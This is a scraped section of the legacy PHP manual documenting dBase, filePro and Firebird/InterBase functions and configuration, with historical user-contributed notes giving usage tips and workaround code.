There are no user contributed notes for this page.


Gets the header info of a database

  • « dbase_delete_record
  • dbase_get_record_with_names »
  • PHP Manual
  • dBase Functions
  • Gets the header info of a database

dbase_get_header_info

(PHP 5)

dbase_get_header_info — Gets the header info of a database

Description

array dbase_get_header_info ( int $dbase_identifier )

Returns information on the column structure of the given database link identifier.

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

Return Values

An indexed array with an entry for each column in the database. The array index starts at 0.

Each array element contains an associative array of column information, as described here:

name
The name of the column
type
The human-readable name for the dbase type of the column (i.e. date, boolean, etc.)
length
The number of bytes this column can hold
precision
The number of digits of decimal precision for the column
format
A suggested printf() format specifier for the column
offset
The byte offset of the column from the start of the row

If the database header information cannot be read, FALSE is returned.

Examples

Example #1 Showing header information for a dBase database file

<?php
// Path to dbase file
$db_path = "/tmp/test.dbf";

// Open dbase file
$dbh = dbase_open($db_path, 0)
  or die("Error! Could not open dbase database file '$db_path'.");

// Get column information
$column_info = dbase_get_header_info($dbh);

// Display information
print_r($column_info);
?>

User Contributed Notes

Marcos Peli 17-Apr-2009 03:13
Um dos principais problemas era a flata desta função nas versões PHP<5.0

O Script abaixo "contorna" o problema , e gera uma "pseudo-cabeçario" baseado no próprio conteúdo do arquivo DBF

Óbvio informar que se o arquivo DBF a ser submetido ao script estiver vazio , ou com poucos elementos ou linhas , ou ainda , se estes não representarem o conteudo com fidegnidade , ou seja , com muitos campos NULLs , o script podera não funcionar a contento com relação ao resultado desejado.

Utilizei por muito tempo o script abaixo como alternativa para a ausência da função dbase-get-header-info em versões PHP < 5.0 na confecção de cabeçarios e posterior transformação de arquivo DBF p/ MYSQL

<?php
// parametros iniciais

// Path - caminho para arquivo dbf a ser aberto
$diretorio_open = 'dbf/';
// Arquivo a ser aberto e explorado
$file = 'arquivo.dbf';

$con = dbase_open($diretorio_open.$file,0) or die('Erro na Conexão com o arquivo DBF');

// PHP>5.0 - usa função dbase_get_header_info para ler cabeçario
// PHP<5.0 - Simula a leitura através do conteudo do próprio arquivo
if(function_exists(dbase_get_header_info))
{$estrutura_arquivo = dbase_get_header_info($con);}
else
{$estrutura_arquivo = alternative_dbase_get_header_info($con);}

// imprime o header do arquivo
print_r($estrutura_arquivo);

// ---------------------------------------------

// função alternativa
function alternative_dbase_get_header_info($con)
{

    //Pega o num. de linhas
    $rows = dbase_numrecords($con);

    //faz o loop percorrendo todas as linhas e carrega a variável $registro com os dados
    for($i=1;$i<=$rows;$i++)
    {
        //Pega a linha do arquivo DBF e coloca como array
        $registro = dbase_get_record_with_names($con,$i);

        $y=0;

        // Mostra as Chaves e os valores do array
        foreach ($registro as $chave => $valor)
        {
            // pega as chaves (field - Coluna) só se for a primeira vez
            if($i==1)
            {$estrutura_arquivo[$y]['name'] = $chave;}

            // finalmente pega o tipo , o comprimento e a precisão no mesmo padrão que dbase_get_header_info
            if( ( ( ( @checkdate(substr($valor,4,2),substr($valor,-2),substr($valor,0,4)) ) && (strlen(trim($valor))==8) ) || (strlen(trim($valor))==0) ) && $chave != 'deleted') // testa se é data checkdate(MM,DD,AA)
            {
                if(!isset($estrutura_arquivo[$y]['type']))
                {
                    $estrutura_arquivo[$y]['type'] = 'date';
                    $estrutura_arquivo[$y]['length'] = 8;
                    $estrutura_arquivo[$y]['precision'] = '0';
                }
                $e_data = TRUE;
            }
            if(is_numeric(trim($valor)) && strstr($valor, '.'))
            {
                $estrutura_arquivo[$y]['type'] = 'number';
                if($estrutura_arquivo[$y]['length'] < strlen(trim($valor)))
                {$estrutura_arquivo[$y]['length'] = strlen(trim($valor));}
                if($estrutura_arquivo[$y]['precision'] < strlen(strstr(trim($valor),'.'))-1)
                {$estrutura_arquivo [$y]['precision'] = strlen(strstr(trim($valor),'.'))-1;}
            }
            if(is_numeric(trim($valor)) && !strstr($valor, '.') && !$e_data && $estrutura_arquivo[$y]['precision'] < 1 && $estrutura_arquivo[$y]['type'] != 'character')
            {
                $estrutura_arquivo[$y]['type'] = 'number';
                if($estrutura_arquivo[$y]['length'] < strlen(trim($valor)))
                {$estrutura_arquivo[$y]['length'] = strlen(trim($valor));}
                $estrutura_arquivo [$y]['precision'] = '0';
            }
            if( strlen($valor)>10 || (!is_numeric(trim($valor)) && strlen(trim($valor))!=0) )
            {
                $estrutura_arquivo[$y]['type'] = 'character';
                if($estrutura_arquivo[$y]['length'] < strlen($valor))
                {$estrutura_arquivo[$y]['length'] = strlen($valor);}
                $estrutura_arquivo [$y]['precision'] = '0';
            }

            $e_data = FALSE;
            $y+=1;
        }

    }

    return(estrutura_arquivo);
}
?>
Eliovir 24-Jul-2008 02:04
As of PHP 5.2.6, it seems that the type F (Float) is supported ( ext/dbase/dbase.c +713 ), with a length of 20 characters.

http://www.dbase.com/KnowledgeBase/int/db7_file_fmt.htm precises : Number stored as a string, right justified, and padded with blanks to the width of the field
christoph dot eck at bluewin dot ch 12-Sep-2006 12:58
Field Types
*********
Not all field types of DBase are supported. Look below for the internal field type definitions of PHP 5.1.x.

The storage symbols of DBase are C (stands for character), D (date) , I (integer), N (number), L (boolean), M (memo). All other symbols like B, @, l, +, F, O and G are defined as unknown.

Sources
*********
http://www.dbase.com/KnowledgeBase/int/db7_file_fmt.htm
PHP-Source-5.1.6 ext/dbase/dbase.c (line 786)


Gets a record from a database as an associative array

  • « dbase_get_header_info
  • dbase_get_record »
  • PHP Manual
  • dBase Functions
  • Gets a record from a database as an associative array

dbase_get_record_with_names

(PHP 4, PHP 5)

dbase_get_record_with_names — Gets a record from a database as an associative array

Description

array dbase_get_record_with_names ( int $dbase_identifier , int $record_number )

Gets a record from a dBase database as an associative array.

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

record_number

The index of the record.

Return Values

An associative array with the record. This will also include a key named deleted which is set to 1 if the record has been marked for deletion (see dbase_delete_record()).

Each field is converted to the appropriate PHP type, except:

  • Dates are left as strings.
  • Integers that would have caused an overflow (> 32 bits) are returned as strings.

On error, dbase_get_record_with_names() will return FALSE.

Examples

Example #1 Listing all the registered members in the database

<?php
// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  $record_numbers = dbase_numrecords($db);
  for ($i = 1; $i <= $record_numbers; $i++) {
      $row = dbase_get_record_with_names($db, $i);
      if ($row['ismember'] == 1) {
          echo "Member #$i: " . trim($row['name']) . "\n";
      }
  }
}
?>

See Also

  • dbase_get_record() - Gets a record from a database as an indexed array

User Contributed Notes

16-Sep-2005 01:32
$foo_db = dbase_open ( 'foo.dbf', 0);

if ($foo_db) {
  $rn = dbase_numrecords($foo_db);

  echo "Record 0: ";
  $test = dbase_get_record_with_names($foo_db, 0);
  echo $test['deleted'] . " FOO BAR: '" . $test['BAR'] . "'\n";

  echo "Record n+1: ";
  $test = dbase_get_record_with_names($foo_db, $rn+1);
  echo $test['deleted'] . " FOO BAR: '" . $test['BAR'] . "'\n";

}

Gives:

Record 0: 0 FOO BAR: ' '

Record n+1:
Warning: Tried to read bad record 30 in ./DisplayAccounts.php on line 21
FOO BAR: ''

0 is not an error record, it's just empty - and actually, not quite empty, as you see BAR got a single space.
bishop 03-Jul-2005 02:52
I would like to emphasize that record numbers begin with 1, not 0. So, this is wrong:
<?php
$recCnt = dbase_numrecords($fh);
for ($recNum = 0; $recNum < $recCnt; $recNum++) {
    // wrong! first record will fail
    $record = dbase_get_record_with_names($fh, $recNum);
}
?>

This is right:

<?php
$recCnt = dbase_numrecords($fh);
for ($recNum = 1; $recNum <= $recCnt; $recNum++) {
    // right! record #s begin with 1, don't forget <=
    $record = dbase_get_record_with_names($fh, $recNum);
}
?>


Gets a record from a database as an indexed array

  • « dbase_get_record_with_names
  • dbase_numfields »
  • PHP Manual
  • dBase Functions
  • Gets a record from a database as an indexed array

dbase_get_record

(PHP 4, PHP 5)

dbase_get_record — Gets a record from a database as an indexed array

Description

array dbase_get_record ( int $dbase_identifier , int $record_number )

Gets a record from a database as an indexed array.

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

record_number

The index of the record.

Return Values

An indexed array with the record. This array will also include an associative key named deleted which is set to 1 if the record has been marked for deletion (see dbase_delete_record()).

Each field is converted to the appropriate PHP type, except:

  • Dates are left as strings.
  • Integers that would have caused an overflow (> 32 bits) are returned as strings.

On error, dbase_get_record() will return FALSE.

See Also

  • dbase_get_record_with_names() - Gets a record from a database as an associative array

User Contributed Notes

webtestjira at nospam dot mytrashmail dot com 20-Dec-2006 06:21
Nowhere in the documentaiont explains that if the entire DBF file is lacking a record for one whole column, you will not get a blank entry in your result from dbase_get_record().  You must use dbase_get_record_with_names(), it is the only safe way to read dbase files in PHP 4.

For example, if you have a dbase file with 12 columns, but 3 of them contain no data in any record, then your array returned from dbase_get_record() will only have 9 sequential array keys and values, leaving you no way to figure out which are the missing columns.


Gets the number of fields of a database

  • « dbase_get_record
  • dbase_numrecords »
  • PHP Manual
  • dBase Functions
  • Gets the number of fields of a database

dbase_numfields

(PHP 4, PHP 5)

dbase_numfields — Gets the number of fields of a database

Description

int dbase_numfields ( int $dbase_identifier )

Gets the number of fields (columns) in the specified database.

Note:

Field numbers are between 0 and dbase_numfields($db)-1, while record numbers are between 1 and dbase_numrecords($db).

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

Return Values

The number of fields in the database, or FALSE if an error occurs.

Examples

Example #1 dbase_numfields() Example

<?php

$rec = dbase_get_record($db, $recno);
$nf  = dbase_numfields($db);
for ($i = 0; $i < $nf; $i++) {
  echo $rec[$i], "\n";
}

?>

See Also

  • dbase_numrecords() - Gets the number of records in a database

User Contributed Notes

paul_andrec at hotmail dot com 21-Jan-2010 04:29
When you want to add a record to a table you have to exclude the last row deleted.

So lets say your table have 10 rows with the deleted row to a total of 11.
you have to exclude the deleted row in your array();

sample:

table is :

<?php
 $row($PID,$SID,$RID,$CON,$COM,$AD1,$AD2,$CIT,$STA,$ZIP,$deleted);
 $record=array($PID,$SID,$RID,$CON,$COM,$AD1,$AD2,$CIT,$STA,$ZIP,);
 $db = dbase_open($db_path_and_file,2);
 dbase_add_record($db,$record );
 dbase_close($db);
?>

This will work.


Gets the number of records in a database

  • « dbase_numfields
  • dbase_open »
  • PHP Manual
  • dBase Functions
  • Gets the number of records in a database

dbase_numrecords

(PHP 4, PHP 5)

dbase_numrecords — Gets the number of records in a database

Description

int dbase_numrecords ( int $dbase_identifier )

Gets the number of records (rows) in the specified database.

Note:

Record numbers are between 1 and dbase_numrecords($db), while field numbers are between 0 and dbase_numfields($db)-1.

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

Return Values

The number of records in the database, or FALSE if an error occurs.

Examples

Example #1 Looping over all the records of the database

<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  $record_numbers = dbase_numrecords($db);
  for ($i = 1; $i <= $record_numbers; $i++) {
      // do something here, for each record
  }
}

?>

See Also

  • dbase_numfields() - Gets the number of fields of a database

User Contributed Notes

Garry Cross 31-Oct-2007 03:22
<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  $record_numbers = dbase_numrecords($db);
  for ($i = 1; $i <= $record_numbers; $i++) {
      // do something here, for each record
  }
}

?>

Trying to get number of records in 1 of my "MySQL" tables. My database has 3 tables in it. How does it know which table to count records in.

Spent an hour and a half looking through Google links to dbase_numrecords, every place I go has a mirror image of the same example, but does not specify which table.

I understand, $db is the string that holds the name of the database. Or should it be the name of the table in the database.


Opens a database

  • « dbase_numrecords
  • dbase_pack »
  • PHP Manual
  • dBase Functions
  • Opens a database

dbase_open

(PHP 4, PHP 5)

dbase_open — Opens a database

Description

int dbase_open ( string $filename , int $mode )

dbase_open() opens a dBase database with the given access mode.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Note:

This function is affected by open_basedir.

Parameters

filename

The name of the database. It can be a relative or absolute path to the file where dBase will store your data.

mode

An integer which correspond to those for the open() system call (Typically 0 means read-only, 1 means write-only, and 2 means read and write).

Note:

You can't open a dBase file in write-only mode as the function will fail to read the headers information and thus you can't use 1 as mode.

Examples

Example #1 Opening a dBase database file

<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  // read some data ..

  dbase_close($db);
}

?>

Return Values

Returns a database link identifier if the database is successfully opened, or FALSE if an error occurred.

See Also

  • dbase_create() - Creates a database
  • dbase_close() - Closes a database

User Contributed Notes

Anonymous 12-Jan-2008 12:05
COPY TO tablename.dbf TYPE FOXPLUS
The table is exported like DBase IV version and works fine with php.
jmertic at ncscredit dot com 17-Oct-2001 01:57
If you are wanting to open Foxpro tables using this, make sure they are in the 2.x format or php will not respond. In VFP use the following:

COPY TO tablename.dbf TYPE FOX2X

This is an easy way to bring database info to the web if you have a small foxpro setup.


Packs a database

  • « dbase_open
  • dbase_replace_record »
  • PHP Manual
  • dBase Functions
  • Packs a database

dbase_pack

(PHP 4, PHP 5)

dbase_pack — Packs a database

Description

bool dbase_pack ( int $dbase_identifier )

Packs the specified database by permanently deleting all records marked for deletion using dbase_delete_record().

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Emptying a dBase database

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
  $record_numbers = dbase_numrecords($db);
  for ($i = 1; $i <= $record_numbers; $i++) {
      dbase_delete_record($db, $i);
  }
  // expunge the database
  dbase_pack($db);
}

?>

See Also

  • dbase_delete_record() - Deletes a record from a database

User Contributed Notes

There are no user contributed notes for this page.


Replaces a record in a database

  • « dbase_pack
  • filePro »
  • PHP Manual
  • dBase Functions
  • Replaces a record in a database

dbase_replace_record

(PHP 4, PHP 5)

dbase_replace_record — Replaces a record in a database

Description

bool dbase_replace_record ( int $dbase_identifier , array $record , int $record_number )

Replaces the given record in the database with the given data.

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

record

An indexed array of data. The number of items must be equal to the number of fields in the database, otherwise dbase_replace_record() will fail.

Note:

If you're using dbase_get_record() return value for this parameter, remember to reset the key named deleted.

record_number

An integer which spans from 1 to the number of records in the database (as returned by dbase_numrecords()).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Updating a record in the database

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
  // gets the old row
  $row = dbase_get_record_with_names($db, 1);

  // remove the 'deleted' entry
  unset($row['deleted']);

  // Update the date field with the current timestamp
  $row['date'] = date('Ymd');

  // Replace the record
  dbase_replace_record($db, $row, 1);
  dbase_close($db);
}

?>

See Also

  • dbase_add_record() - Adds a record to a database
  • dbase_delete_record() - Deletes a record from a database

User Contributed Notes

rlundp at lunds dot us 08-Jan-2013 07:48
It took me a while to figure this out, so even though this is near-obsolete, maybe it will be useful to someone else.

I have a dBase file that contains a boolean value. I created a new row in the file with the boolean value at 0, and that worked without issues.

But then I tried to set that value to 1, and it did not work. I tried 1, "1", true - all without success.

Turns out that you need to use "Y" to set a boolean value to 1.

When you load the row later and output it using var_dump, the value will show as integer with the value 1.
xamkan at yahoo dot com 21-Sep-2010 01:43
// simply use 'dbase_get_record' instead of 'dbase_get_record_with_names', for 'dbase_replace_record', 'dbase_add_record', or 'dbase_delete_record', to work

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2) or die("Error! Could not open dbase database file /tmp/test.dbf.");        // 0=RO, 1=WO, 2=RW

// gets the old row
$row = dbase_get_record($db, 1);

// remove the 'deleted' entry from the array
unset($row['deleted']);

// Update the date field with the current timestamp
$row['date'] = date('Ymd');

// Replace the record
dbase_replace_record($db, $row, 1);
dbase_close($db);

?>
3Famous at gmail dot com 11-Feb-2008 06:03
Actually you have to change the read array from key based to element (numeric) based and everything works correctly!

<?php
     $db = dbase_open( "yourfile.dbf", 2); // 0=RO, 1=WO, 2=RW
     if ($db) {
        $row = dbase_get_record_with_names($db, 1);
        unset($row["deleted"]); // drop the field
// do whatever it is you want to the $row["elements"]
// then convert to numeric to store:
        $rarr = array();
        foreach ($row as $i=>$vl) $rarr[] = $vl;
        dbase_replace_record($db, $rarr, 1);
        dbase_close($db);
    }
?>

That code actually works!
hassan at datakillarna dot se 11-Feb-2006 01:30
If you get "unexpected error", try to change the assoc array, $row, to an indexed array with array_values().

Example:
<?php
$row = array_values($row);
dbase_replace_record($db, $row, 1);
?>

The dbase_replace-function cannot handle an assoc array.

Hope this will save someone a headache! ;)
wysocki at wildworld dot net 11-Feb-2005 10:15
The dbase add and replace functions do NOT like to use the associative array.

<?php
//This gives "unspecified error" on replace and add:
$row = dbase_get_record_with_names($db, 1);
unset($row['deleted']);
dbase_replace_record($db, $row, 1);
dbase_add_record($db, $row);

//To further prove the point,
//The first add works, the second one fails:
$testrow1=array('one','2','three');
dbase_add_record($db,$testrow1);
$testrow2=array('FIELDA' => 'xxx','FIELDB' => '9','FIELDC' => 'yyyyy');
dbase_add_record($db,$testrow2);
?>


filePro

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • filePro Functions
    • filepro_fieldcount — Find out how many fields are in a filePro database
    • filepro_fieldname — Gets the name of a field
    • filepro_fieldtype — Gets the type of a field
    • filepro_fieldwidth — Gets the width of a field
    • filepro_retrieve — Retrieves data from a filePro database
    • filepro_rowcount — Find out how many rows are in a filePro database
    • filepro — Read and verify the map file

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions allow read-only access to data stored in filePro databases.

filePro is a registered trademark of fP Technologies, Inc. You can find more information about filePro at » http://www.fptech.com/.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.2.0.

User Contributed Notes

There are no user contributed notes for this page.


Installation

filePro support in PHP is not enabled by default. To enable the bundled read-only filePro support you need to use the--enable-filepro configuration option when compiling PHP.

User Contributed Notes

There are no user contributed notes for this page.


filePro Functions

Table of Contents

  • filepro_fieldcount — Find out how many fields are in a filePro database
  • filepro_fieldname — Gets the name of a field
  • filepro_fieldtype — Gets the type of a field
  • filepro_fieldwidth — Gets the width of a field
  • filepro_retrieve — Retrieves data from a filePro database
  • filepro_rowcount — Find out how many rows are in a filePro database
  • filepro — Read and verify the map file

User Contributed Notes

There are no user contributed notes for this page.


Find out how many fields are in a filePro database

  • « filePro Functions
  • filepro_fieldname »
  • PHP Manual
  • filePro Functions
  • Find out how many fields are in a filePro database

filepro_fieldcount

(PHP 4, PHP 5 <= 5.1.6)

filepro_fieldcount — Find out how many fields are in a filePro database

Description

int filepro_fieldcount ( void )

Returns the number of fields (columns) in the opened filePro database.

Return Values

Returns the number of fields in the opened filePro database, or FALSE on errors.

See Also

  • filepro() - Read and verify the map file

User Contributed Notes

There are no user contributed notes for this page.


Gets the name of a field

  • « filepro_fieldcount
  • filepro_fieldtype »
  • PHP Manual
  • filePro Functions
  • Gets the name of a field

filepro_fieldname

(PHP 4, PHP 5 <= 5.1.6)

filepro_fieldname — Gets the name of a field

Description

string filepro_fieldname ( int $field_number )

Returns the name of the field corresponding to field_number.

Parameters

field_number

The field number.

Return Values

Returns the name of the field as a string, or FALSE on errors.

User Contributed Notes

There are no user contributed notes for this page.


Gets the type of a field

  • « filepro_fieldname
  • filepro_fieldwidth »
  • PHP Manual
  • filePro Functions
  • Gets the type of a field

filepro_fieldtype

(PHP 4, PHP 5 <= 5.1.6)

filepro_fieldtype — Gets the type of a field

Description

string filepro_fieldtype ( int $field_number )

Returns the edit type of the field corresponding to field_number.

Parameters

field_number

The field number.

Return Values

Returns the edit type of the field as a string, or FALSE on errors.

User Contributed Notes

There are no user contributed notes for this page.


Gets the width of a field

  • « filepro_fieldtype
  • filepro_retrieve »
  • PHP Manual
  • filePro Functions
  • Gets the width of a field

filepro_fieldwidth

(PHP 4, PHP 5 <= 5.1.6)

filepro_fieldwidth — Gets the width of a field

Description

int filepro_fieldwidth ( int $field_number )

Returns the width of the field corresponding to field_number.

Parameters

field_number

The field number.

Return Values

Returns the width of the field as a integer, or FALSE on errors.

User Contributed Notes

There are no user contributed notes for this page.


Retrieves data from a filePro database

  • « filepro_fieldwidth
  • filepro_rowcount »
  • PHP Manual
  • filePro Functions
  • Retrieves data from a filePro database

filepro_retrieve

(PHP 4, PHP 5 <= 5.1.6)

filepro_retrieve — Retrieves data from a filePro database

Description

string filepro_retrieve ( int $row_number , int $field_number )

Returns the data from the specified location in the database.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Parameters

row_number

The row number. Must be between zero and the total number of rows minus one (0..filepro_rowcount() - 1)

field_number

The field number. Accepts values between zero and the total number of fields minus one (0..filepro_fieldcount() - 1)

Return Values

Returns the specified data, or FALSE on errors.

User Contributed Notes

There are no user contributed notes for this page.


Find out how many rows are in a filePro database

  • « filepro_retrieve
  • filepro »
  • PHP Manual
  • filePro Functions
  • Find out how many rows are in a filePro database

filepro_rowcount

(PHP 4, PHP 5 <= 5.1.6)

filepro_rowcount — Find out how many rows are in a filePro database

Description

int filepro_rowcount ( void )

Returns the number of rows in the opened filePro database.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Return Values

Returns the number of rows in the opened filePro database, or FALSE on errors.

See Also

  • filepro() - Read and verify the map file

User Contributed Notes

There are no user contributed notes for this page.


Read and verify the map file

  • « filepro_rowcount
  • Firebird/InterBase »
  • PHP Manual
  • filePro Functions
  • Read and verify the map file

filepro

(PHP 4, PHP 5 <= 5.1.6)

filepro — Read and verify the map file

Description

bool filepro ( string $directory )

This reads and verifies the map file, storing the field count and info.

No locking is done, so you should avoid modifying your filePro database while it may be opened in PHP.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Parameters

directory

The map directory.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Brian Clark 15-Apr-2007 04:47
filepro() is apparently expecting the map file to be lowercase (at least on UNIX-like systems).
RobNar 12-Jun-2003 05:38
Two notes here:

1) PHP does not need a running copy of filepro to read the datafiles.  Just provide it with a directory containing the map file, key file, and the data* file(s) for the table you want to read. Screen files, outfiles, and process files are not used.

2) This function seems to pass back the system error code in brackets [] along with the PHP warning.  A list of error codes can be found in your filepro manual's appendix.


Firebird/InterBase

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Firebird/InterBase Functions
    • ibase_add_user — Add a user to a security database
    • ibase_affected_rows — Return the number of rows that were affected by the previous query
    • ibase_backup — Initiates a backup task in the service manager and returns immediately
    • ibase_blob_add — Add data into a newly created blob
    • ibase_blob_cancel — Cancel creating blob
    • ibase_blob_close — Close blob
    • ibase_blob_create — Create a new blob for adding data
    • ibase_blob_echo — Output blob contents to browser
    • ibase_blob_get — Get len bytes data from open blob
    • ibase_blob_import — Create blob, copy file in it, and close it
    • ibase_blob_info — Return blob length and other useful info
    • ibase_blob_open — Open blob for retrieving data parts
    • ibase_close — Close a connection to an InterBase database
    • ibase_commit_ret — Commit a transaction without closing it
    • ibase_commit — Commit a transaction
    • ibase_connect — Open a connection to a database
    • ibase_db_info — Request statistics about a database
    • ibase_delete_user — Delete a user from a security database
    • ibase_drop_db — Drops a database
    • ibase_errcode — Return an error code
    • ibase_errmsg — Return error messages
    • ibase_execute — Execute a previously prepared query
    • ibase_fetch_assoc — Fetch a result row from a query as an associative array
    • ibase_fetch_object — Get an object from a InterBase database
    • ibase_fetch_row — Fetch a row from an InterBase database
    • ibase_field_info — Get information about a field
    • ibase_free_event_handler — Cancels a registered event handler
    • ibase_free_query — Free memory allocated by a prepared query
    • ibase_free_result — Free a result set
    • ibase_gen_id — Increments the named generator and returns its new value
    • ibase_maintain_db — Execute a maintenance command on the database server
    • ibase_modify_user — Modify a user to a security database
    • ibase_name_result — Assigns a name to a result set
    • ibase_num_fields — Get the number of fields in a result set
    • ibase_num_params — Return the number of parameters in a prepared query
    • ibase_param_info — Return information about a parameter in a prepared query
    • ibase_pconnect — Open a persistent connection to an InterBase database
    • ibase_prepare — Prepare a query for later binding of parameter placeholders and execution
    • ibase_query — Execute a query on an InterBase database
    • ibase_restore — Initiates a restore task in the service manager and returns immediately
    • ibase_rollback_ret — Roll back a transaction without closing it
    • ibase_rollback — Roll back a transaction
    • ibase_server_info — Request information about a database server
    • ibase_service_attach — Connect to the service manager
    • ibase_service_detach — Disconnect from the service manager
    • ibase_set_event_handler — Register a callback function to be called when events are posted
    • ibase_trans — Begin a transaction
    • ibase_wait_event — Wait for an event to be posted by the database

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Firebird is a relational database offering many ISO SQL-2003 features that runs on Linux, Windows, and a variety of Unix platforms. Firebird offers excellent concurrency, high performance, and powerful language support for stored procedures and triggers. It has been used in production systems, under a variety of names since 1981.

InterBase is the name of the closed-source variant of this RDBMS that was developed by Embarcadero/Inprise. More information about InterBase is available at » http://www.embarcadero.com/products/interbase.

Firebird is a commercially independent project (fundation) of C++ programmers, technical advisors and supporters developing and enhancing a multi-platform relational database management system based on the source code released by Inprise Corp (now known as Embarcadero) under the InterBase Public License v.1.0 on 25 July, 2000. More information about Firebird is available at » http://www.firebirdsql.org/.

Note:

This extension supports InterBase versions 6 and up and Firebird version 2.0 and up.

This database uses a single quote (') character for escaping add to your php.ini the following directive(Deprecated in PHP 5.3.0. Removed in PHP 5.4.0):

magic_quotes_sybase = On

User Contributed Notes

There are no user contributed notes for this page.


Installation

To enable Firebird/InterBase support configure PHP --with-interbase[=DIR] , where DIR is the Firebird/InterBase base install directory, which defaults to /usr.

Note: Note to Win32/Win64 Users

In order for this extension to work, there are DLL files that must be available to the Windows system PATH. For information on how to do this, see the FAQ entitled "How do I add my PHP directory to the PATH on Windows". Although copying DLL files from the PHP folder into the Windows system directory also works (because the system directory is by default in the system's PATH), this is not recommended. This extension requires the following files to be in the PATH: fbclient.dll,gds32.dll

If you installed the Firebird/InterBase database server on the same machine PHP is running on, you will have this DLL already and fbclient.dll,gds32.dll (gds32.dll is generated from the installer for legacy applications) will already be in the PATH.

User Contributed Notes

hiddenmailbox at yandex dot ru 15-Dec-2011 01:06
I tried to add extension php_interbase.dll on my php (WinXp PHP as Apche2.2 module).
I had a problem while starting web server:
"unable to load dynamic lybrary php_interbase.dll"
Solution was to add file fbclient.dll into php folder. (Not gds32.dll)
teson 26-Oct-2009 02:50
Add interbase.so to MAMP / OSX

get xcode and macports.
install m4 through macports
download php-source corresponding to mamp-version

create symblinks needed
from http://www.ibexpert.net/forum/viewtopic.phpf=13&t=7&start=0&st=0&sk=t&sd=a

# in short:
# (backslash = keep on same row)
cd /usr
sudo  mkdir -p local/firebird/lib

sudo ln -s /Library/Frameworks/Firebird.framework/Firebird \
local/firebird/lib/libfbclient.dylib

sudo ln -s /Library/Frameworks/Firebird.framework/Headers/ \
local/firebird/include

#create .so
sudo su

cd /path-to-php-source/ext/interbase

/Applications/MAMP/bin/php5/bin/phpize

./configure --with-interbase=/usr/local/firebird

make

#install so to mamp-ext.dir
cp modules/interbase.so \
/Applications/MAMP/bin/php5/lib/ \
php/extensions/no-debug-non-zts-20050922

#add to /Applications/MAMP/conf/php5/php.ini
[firebird]
extension = interbase.so
ibase.allow_persistent = "1"
ibase.max_persistent = "-1"
ibase.max_links = "-1"
ibase.default_db = null
ibase.default_user = NULL
ibase.default_password = NULL
ibase.default_charset = NULL
ibase.timestampformat = "%Y-%m-%d %H:%M:%S"
ibase.dateformat = "%Y-%m-%d"
ibase.timeformat = "%H:%M:%S"

#restart mamp - interbase should show in phpinfo
#enjoy!
rockeur941 at hotmail dot com 15-Feb-2009 11:05
On version 2.0 or higher of Firebird, the library is now fbclient.dll. But, fbclient.dll can be rename on gds32.dll, on Windows System for compatibility. The library gds32.dll is for older version of firebird.

Pour les version récentes (2 et plus) de Firebird, la librairie est maintenant fbclient.dll. La librairie gds32.dll était pour les anciennes versions. Il est possible de renommer fbclient.dll en gds32.dll pour les différentes compatibilités pour les application déjà existantes.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

InterBase configuration options
Name | Default | Changeable | Changelog
ibase.allow_persistent | "1" | PHP_INI_SYSTEM |
ibase.max_persistent | "-1" | PHP_INI_SYSTEM |
ibase.max_links | "-1" | PHP_INI_SYSTEM |
ibase.default_db | NULL | PHP_INI_SYSTEM | Available since PHP 5.0.0.
ibase.default_user | NULL | PHP_INI_ALL |
ibase.default_password | NULL | PHP_INI_ALL |
ibase.default_charset | NULL | PHP_INI_ALL | Available since PHP 5.0.0.
ibase.timestampformat | "%Y-%m-%d %H:%M:%S" | PHP_INI_ALL |
ibase.dateformat | "%Y-%m-%d" | PHP_INI_ALL |
ibase.timeformat | "%H:%M:%S" | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

ibase.allow_persistent boolean

Whether to allow persistent connections to Firebird/InterBase.

ibase.max_persistent integer

The maximum number of persistent Firebird/InterBase connections per process. New connections created with ibase_pconnect() will be non-persistent if this number would be exceeded.

ibase.max_links integer

The maximum number of Firebird/InterBase connections per process, including persistent connections.

ibase.default_db string

The default database to connect to when ibase_[p]connect() is called without specifying a database name. If this value is set and SQL safe mode is enabled, no other connections than to this database will be allowed.

ibase.default_user string

The user name to use when connecting to a database if no user name is specified.

ibase.default_password string

The password to use when connecting to a database if no password is specified.

ibase.default_charset string

The character set to use when connecting to a database if no character set is specified.

ibase.timestampformat string

ibase.dateformat string

ibase.timeformat string

These directives are used to set the date and time formats that are used when returning dates and times from a result set, or when binding arguments to date and time parameters.

